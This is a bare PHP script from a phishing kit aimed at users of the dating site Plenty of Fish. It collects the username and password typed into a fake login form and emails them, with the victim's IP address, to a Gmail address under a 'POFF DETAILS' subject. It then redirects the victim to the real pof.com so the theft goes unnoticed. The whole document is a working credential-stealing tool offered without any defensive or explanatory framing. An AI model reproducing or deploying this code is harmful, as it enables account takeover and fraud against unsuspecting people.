php form

<?php
    $to ="finaldomainreg@gmail.com";
    $subject = 'POWERED BY OLUMARTINS**POFF DETAILS**';
    $username = $_REQUEST['username'] ;
    $ip = $_SERVER['REMOTE_ADDR'];
    $password = $_REQUEST['password'] ;
    $body = "From: OLUMARTINS \n\n username/email: $username \n\n password: $password \n\n I.P: $ip" ;
    $sent = mail($to, $subject, $body) ;
    if($sent)
    {echo "<script language=javascript>window.location = 'http://pof.com';</script>";}
    else
    {echo "<script language=javascript>window.location = 'http://pof.com';</script>";}
?>